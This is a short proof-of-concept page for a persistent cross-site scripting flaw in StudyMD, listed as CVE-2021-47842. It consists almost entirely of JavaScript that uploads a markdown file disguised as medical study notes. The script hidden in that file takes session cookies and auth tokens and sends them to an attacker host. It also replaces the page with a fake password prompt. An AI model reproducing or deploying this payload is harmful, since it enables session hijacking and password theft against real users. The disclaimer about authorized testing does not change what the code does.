CVE-2021-47842 StudyMD持久型跨站脚本漏洞

// CVE-2021-47842 PoC - StudyMD Persistent XSS // Create a malicious markdown file with embedded JavaScript payload const maliciousMarkdown = ` # Medical Notes - Confidential This document contains important study materials. <script> // Steal session cookies and send to attacker server const stolenData = { cookies: document.cookie, localStorage: localStorage.getItem('authToken'), userAgent: navigator.userAgent, timestamp: new Date().toISOString() }; // Send stolen data to attacker-controlled endpoint fetch('https://attacker.com/collect?data=' + btoa(JSON.stringify(stolenData))); // Alternative payload: Session Hijacking document.body.innerHTML = '<h1>Session Expired</h1><form action="https://attacker.com/phish">Enter Password: <input type="password" name="pwd"><button>Submit</button></form>'; </script> ## Key Concepts - Pharmacology interactions - Pathophysiology review - Clinical case studies `; // Upload the malicious file via StudyMD upload endpoint async function exploit() { const formData = new FormData(); const blob = new Blob([maliciousMarkdown], { type: 'text/markdown' }); formData.append('file', blob, 'medical_notes.md'); // Upload to vulnerable endpoint await fetch('https://vulnerable-server/api/upload', { method: 'POST', body: formData, credentials: 'include' }); console.log('Malicious markdown uploaded. Users viewing this file will be compromised.'); } exploit(); // Note: This PoC demonstrates the vulnerability for authorized security testing only.